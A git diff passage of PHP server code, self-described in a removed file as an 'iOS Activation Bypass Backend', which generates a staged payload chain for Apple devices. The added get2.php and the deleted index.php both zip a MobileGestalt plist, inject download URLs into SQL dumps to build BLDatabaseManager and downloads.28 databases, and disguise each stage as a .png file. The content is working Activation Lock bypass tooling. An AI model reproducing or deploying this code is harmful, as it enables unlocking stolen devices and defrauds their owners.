+//$encrypted = openssl_encrypt($fileContent, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
+
+// دمج IV مع الملف المشفر
+//$finalData = base64_encode($iv . $encrypted);
+
+// إرسال Headers
+//header('Content-Type: text/plain');
+//header('Content-Length: ' . strlen($finalData));
+//header('Cache-Control: no-cache, no-store, must-revalidate');
+//header('Pragma: no-cache');
+//header('Expires: 0');
+
+// إرسال البيانات
+//echo $finalData;
+//exit();
+
+
+
+
+
+
+
+
+
+
+//echo $fileContent;
+//exit();
+
+// echo json_encode([
+    // 'success' => true,
+    // 'parameters' => [
+        // 'prd' => $prd,
+        // 'guid' => $guid,
+        // 'sn' => $sn
+    // ],
+    // 'links' => [
+        // 'step1_fixedfile' => $fixedFileUrl,
+        // 'step2_bldatabase' => $blDatabaseUrl,
+        // 'step3_final' => $finalUrl
+    // ],
+    // 'paths' => [
+        // 'step1' => $fixedFilePath,
+        // 'step2' => $blFinalPath,
+        // 'step3' => $finalPath
+    // ]
+// ], JSON_PRETTY_PRINT);
+?>

+ 166 - 0
server/public/get2.php

@@ -0,0 +1,166 @@
+<?php
+// Enable error reporting for debugging
+error_reporting(E_ALL);
+ini_set('display_errors', 0); // ← НЕ выводить ошибки в HTTP-ответ!
+
+function log_debug($msg, $level = 'INFO') {
+    $timestamp = date('Y-m-d H:i:s');
+    $line = "[$timestamp] [$level] $msg";
+    error_log($line); // ← Только в error_log (консоль/файл)
+}
+
+// Function to generate random directory name
+function generateRandomName($length = 16) {
+    return bin2hex(random_bytes($length / 2));
+}
+
+// Function to read SQL dump from .png file
+function readSQLDump($filename) {
+    if (!file_exists($filename)) {
+        log_debug("File not found: $filename", "ERROR");
+        die("Error: File $filename not found");
+    }
+    return file_get_contents($filename);
+}
+
+// Function to create SQLite database from SQL dump
+function createSQLiteFromDump($sqlDump, $outputFile) {
+    try {
+        $sqlDump = preg_replace_callback(
+            "/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i",
+            function($matches) {
+                $str = $matches[1];
+                $str = preg_replace_callback(
+                    '/\\\\([0-9A-Fa-f]{4})/',
+                    function($m) {
+                        return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE');
+                    },
+                    $str
+                );
+                return "'" . str_replace("'", "''", $str) . "'";
+            },
+            $sqlDump
+        );
+        $sqlDump = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlDump);
+        
+        $db = new SQLite3($outputFile);
+        $statements = explode(';', $sqlDump);
+        foreach ($statements as $statement) {
+            $statement = trim($statement);
+            if (!empty($statement) && strlen($statement) > 5) {
+                @$db->exec($statement . ';');
+            }
+        }
+        $db->close();
+        return true;
+    } catch (Exception $e) {
+        log_debug("SQLite creation failed: " . $e->getMessage(), "ERROR");
+        die("Error creating SQLite database");
+    }
+}
+
+log_debug("=== STARTING PAYLOAD GENERATION ===");
+
+$prd = $_GET['prd'] ?? '';
+$guid = $_GET['guid'] ?? '';
+$sn = $_GET['sn'] ?? '';
+
+if (empty($prd) || empty($guid) || empty($sn)) {
+    log_debug("Missing params: prd='$prd', guid='$guid', sn='$sn'", "ERROR");
+    http_response_code(400);
+    echo json_encode(['success' => false, 'error' => 'Missing prd, guid, or sn']);
+    exit;
+}
+
+$prdFormatted = str_replace(',', '-', $prd);
+$basePath = __DIR__;
+
+$plistPath = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+log_debug("Trying plist: $plistPath");
+
+if (!file_exists($plistPath)) {
+    $altPath1 = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+    $altPath2 = $_SERVER['DOCUMENT_ROOT'] . "/bee33/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+    
+    if (file_exists($altPath1)) {
+        $plistPath = $altPath1;
+    } elseif (file_exists($altPath2)) {
+        $plistPath = $altPath2;
+    } else {
+        log_debug("Plist not found. Tried: $plistPath, $altPath1, $altPath2", "ERROR");
+        http_response_code(500);
+        echo json_encode(['success' => false, 'error' => 'Plist not found']);
+        exit;
+    }
+}
+
+$realPlistPath = realpath($plistPath);
+log_debug("✅ Using plist: $realPlistPath (size: " . filesize($realPlistPath) . " bytes)");
+
+// --- Создание stage1 ---
+$randomName1 = generateRandomName();
+$firstStepDir = "$basePath/firststp/$randomName1";
+mkdir($firstStepDir, 0755, true);
+
+$zipPath = "$firstStepDir/temp.zip";
+$zip = new ZipArchive();
+if (!$zip->open($zipPath, ZipArchive::CREATE)) {
+    log_debug("Failed to create ZIP", "ERROR");
+    http_response_code(500);
+    echo json_encode(['success' => false, 'error' => 'ZIP creation failed']);
+    exit;
+}
+$zip->addFile($plistPath, "Caches/com.apple.MobileGestalt.plist");
+$zip->close();
+
+$fixedFilePath = "$firstStepDir/fixedfile";
+rename($zipPath, $fixedFilePath);
+log_debug("✅ fixedfile created: $fixedFilePath");
+
+// --- URLs ---
+$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? "https" : "http";
+$baseUrl = "$protocol://$_SERVER[HTTP_HOST]";
+$fixedFileUrl = "$baseUrl/firststp/$randomName1/fixedfile";
+
+// BLDatabaseManager
+$blDump = readSQLDump("$basePath/BLDatabaseManager.png");
+$blDump = str_replace('KEYOOOOOO', $fixedFileUrl, $blDump);
+
+$randomName2 = generateRandomName();
+$secondStepDir = "$basePath/2ndd/$randomName2";
+mkdir($secondStepDir, 0755, true);
+$blSqlite = "$secondStepDir/BLDatabaseManager.sqlite";
+createSQLiteFromDump($blDump, $blSqlite);
+rename($blSqlite, "$secondStepDir/belliloveu.png");
+$blUrl = "$baseUrl/2ndd/$randomName2/belliloveu.png";
+
+// downloads.28
+$dlDump = readSQLDump("$basePath/downloads.28.png");
+$dlDump = str_replace('https://google.com', $blUrl, $dlDump);
+$dlDump = str_replace('GOODKEY', $guid, $dlDump);
+
+$randomName3 = generateRandomName();
+$lastStepDir = "$basePath/last/$randomName3";
+mkdir($lastStepDir, 0755, true);
+$finalDb = "$lastStepDir/downloads.sqlitedb";
+createSQLiteFromDump($dlDump, $finalDb);
+rename($finalDb, "$lastStepDir/apllefuckedhhh.png");
+$finalUrl = "$baseUrl/last/$randomName3/apllefuckedhhh.png";
+
+log_debug("✅ All stages generated.");
+
+// ✅ Только JSON в HTTP-ответ:
+echo json_encode([
+    'success' => true,
+    'parameters' => compact('prd', 'guid', 'sn'),
+    'links' => [
+        'step1_fixedfile' => $fixedFileUrl,
+        'step2_bldatabase' => $blUrl,
+        'step3_final' => $finalUrl
+    ],
+    'debug' => [
+        'plist_used' => $realPlistPath,
+        'plist_size' => filesize($realPlistPath)
+    ]
+], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
+?>

+ 0 - 130
server/public/index.php

@@ -1,130 +0,0 @@
-<?php
-/**
- * iOS Activation Bypass Backend
- * Professional Edition
- */
-
-error_reporting(E_ALL);
-ini_set('display_errors', 0); 
-ini_set('log_errors', 1);
-ini_set('error_log', __DIR__ . '/../logs/error.log');
-
-// Configuration
-define('BASE_DIR', __DIR__ . '/..');
-define('TEMPLATE_DIR', BASE_DIR . '/templates');
-define('ASSETS_DIR', BASE_DIR . '/assets');
-// Cache is now inside the current directory (public)
-define('CACHE_DIR', __DIR__ . '/cache');
-
-// Determine the base URL for download links
-$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
-$host = $_SERVER['HTTP_HOST'];
-$scriptPath = dirname($_SERVER['PHP_SELF']);
-// Ensure no trailing slash issues
-define('BASE_URL', $protocol . "://" . $host . $scriptPath);
-
-if (!is_dir(CACHE_DIR)) mkdir(CACHE_DIR, 0755, true);
-
-class PayloadGenerator {
-    private $prd;
-    private $guid;
-    private $sn;
-
-    public function __construct($prd, $guid, $sn) {
-        $this->prd = str_replace(',', '-', $prd);
-        $this->guid = $guid;
-        $this->sn = $sn;
-    }
-
-    private function generateToken() { return bin2hex(random_bytes(8)); }
-
-    private function readTemplate($filename) {
-        if (!file_exists($filename)) throw new Exception("Template missing: " . basename($filename));
-        return file_get_contents($filename);
-    }
-
-    private function createDatabaseFromSql($sqlContent, $outputPath) {
-        try {
-            // Fix Oracle/Custom unistr formatting for SQLite
-            $sqlContent = preg_replace_callback("/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i", function($matches) {
-                $str = $matches[1];
-                $str = preg_replace_callback('/\\\\([0-9A-Fa-f]{4})/', function($m) { 
-                    return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE'); 
-                }, $str);
-                return "'" . str_replace("'", "''", $str) . "'";
-            }, $sqlContent);
-            
-            $sqlContent = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlContent);
-
-            $db = new SQLite3($outputPath);
-            $statements = explode(';', $sqlContent);
-            foreach ($statements as $stmt) {
-                $stmt = trim($stmt);
-                if (!empty($stmt) && strlen($stmt) > 5) @$db->exec($stmt . ';');
-            }
-            $db->close();
-            return true;
-        } catch (Exception $e) {
-            error_log("DB Creation Error: " . $e->getMessage());
-            return false;
-        }
-    }
-
-    public function process() {
-        // 1. MobileGestalt
-        $plistSource = ASSETS_DIR . "/Maker/{$this->prd}/com.apple.MobileGestalt.plist";
-        if (!file_exists($plistSource)) {
-            http_response_code(404);
-            die("Error: Configuration not found for device {$this->prd}. Please ensure assets/Maker is populated.");
-        }
-
-        $token1 = $this->generateToken();
-        $dir1 = CACHE_DIR . "/stage1/$token1";
-        if (!is_dir($dir1)) mkdir($dir1, 0755, true);
-
-        $zipPath = "$dir1/payload.zip";
-        $zip = new ZipArchive();
-        if ($zip->open($zipPath, ZipArchive::CREATE) !== TRUE) die("Compression Error");
-        $zip->addFile($plistSource, "Caches/com.apple.MobileGestalt.plist");
-        $zip->close();
-        rename($zipPath, "$dir1/fixedfile");
-        
-        // 2. BLDatabase
-        $token2 = $this->generateToken();
-        $dir2 = CACHE_DIR . "/stage2/$token2";
-        if (!is_dir($dir2)) mkdir($dir2, 0755, true);
-
-        $blSql = $this->readTemplate(TEMPLATE_DIR . '/bl_structure.sql');
-        $blSql = str_replace('KEYOOOOOO', BASE_URL . "/cache/stage1/$token1/fixedfile", $blSql);
-        
-        $this->createDatabaseFromSql($blSql, "$dir2/intermediate.sqlite");
-        rename("$dir2/intermediate.sqlite", "$dir2/belliloveu.png");
-
-        // 3. Final Payload
-        $token3 = $this->generateToken();
-        $dir3 = CACHE_DIR . "/stage3/$token3";
-        if (!is_dir($dir3)) mkdir($dir3, 0755, true);
-
-        $dlSql = $this->readTemplate(TEMPLATE_DIR . '/downloads_structure.sql');
-        $dlSql = str_replace('https://google.com', BASE_URL . "/cache/stage2/$token2/belliloveu.png", $dlSql);
-        $dlSql = str_replace('GOODKEY', $this->guid, $dlSql);
-
-        $this->createDatabaseFromSql($dlSql, "$dir3/final.sqlite");
-        rename("$dir3/final.sqlite", "$dir3/payload.png");
-
-        return BASE_URL . "/cache/stage3/$token3/payload.png";
-    }
-}
-
-if (!isset($_GET['prd'], $_GET['guid'], $_GET['sn'])) {
-    http_response_code(400);
-    die("Invalid Parameters");
-}
-
-try {
-    $gen = new PayloadGenerator($_GET['prd'], $_GET['guid'], $_GET['sn']);
-    echo $gen->process();
-} catch (Exception $e) {
-    http_response_code(500);
-    die("Server Error");
-}

Some files were not shown because too many files changed in this diff